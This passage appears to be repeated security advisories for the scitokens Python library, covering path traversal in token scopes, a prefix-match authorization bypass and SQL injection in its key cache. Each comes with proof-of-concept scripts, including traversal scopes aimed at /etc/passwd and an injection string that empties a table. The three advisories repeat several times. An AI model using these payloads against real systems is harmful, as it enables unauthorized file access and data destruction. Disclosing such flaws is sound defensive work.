        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

Summary

The Enforcer incorrectly validates scope paths by using a simple prefix match (startswith). This allows a token with access to a specific path (e.g., /john) to also access sibling paths that start with the same prefix (e.g., /johnathan, /johnny), which is an Authorization Bypass.

Details

File: src/scitokens/scitokens.py
Methods: _validate_scp and _validate_scope

Vulnerable Code Snippets:

In _validate_scp (around line 696):

    for scope in value:
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

In _validate_scope (around line 722):

    for scope in value.split(" "):
        authz, norm_path = self._check_scope(scope)
        if (self._test_authz == authz) and norm_requested_path.startswith(norm_path):
            return True

If norm_path (authorized) is /john and norm_requested_path (requested) is /johnathan, startswith returns True, incorrectly granting access.

PoC

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

Impact

This bug allows a user to access resources they are not authorized for. For example, if a system uses usernames as top-level directories in a shared storage, a user john might be able to read or write to the directory of user johnathan simply because their names share a prefix.

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

2. In _addkeyinfo (around lines 89 and 94):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))

3. In _delete_cache_entry (around line 128):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))

5. In getkeyinfo (around lines 193 and 198):

key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization

def poc_sql_injection():
   print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
   
   # We will demonstrate the vulnerability by manually executing the kind of query
   # that WAS present in the code, showing how it can be exploited.
   
   # Setup temporary database
   fd, db_path = tempfile.mkstemp()
   os.close(fd)
   
   conn = sqlite3.connect(db_path)
   curs = conn.cursor()
   curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
   
   # Add legitimate entries
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
   curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
   conn.commit()
   
   curs.execute(" SELECT count(*) FROM keycache")
   print(f"Count before injection: {curs.fetchone()[0]}")
   
   # MALICIOUS INPUT
   # The original code was: 
   # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
   
   malicious_issuer = "any' OR '1'='1' --"
   malicious_kid = "irrelevant"
   
   print(f"Simulating injection with issuer: {malicious_issuer}")
   
   # This simulates what the VULNERABLE code did:
   query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
   print(f"Generated query: {query}")
   
   curs.execute(query)
   conn.commit()
   
   curs.execute("SELECT count(*) FROM keycache")
   count = curs.fetchone()[0]
   print(f"Count after injection: {count}")
   
   if count == 0:
       print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
   
   conn.close()
   os.remove(db_path)

if __name__ == "__main__":
   poc_sql_injection()

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could:

1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:

   return requested_path.startswith(allowed_path + '/')
   # "/home/user2".startswith("/home/") is True
   

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

• Scope: read:/home/user1/.. -> Access Granted to: /home/user2
• Scope: read:/anything/.. -> Access Granted to: /etc/passwd
• Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar

import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")
    
    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)
    
    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1
    
    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."
    
    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.
    
    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)
    
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path
    
    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")
    
    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")
    
    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

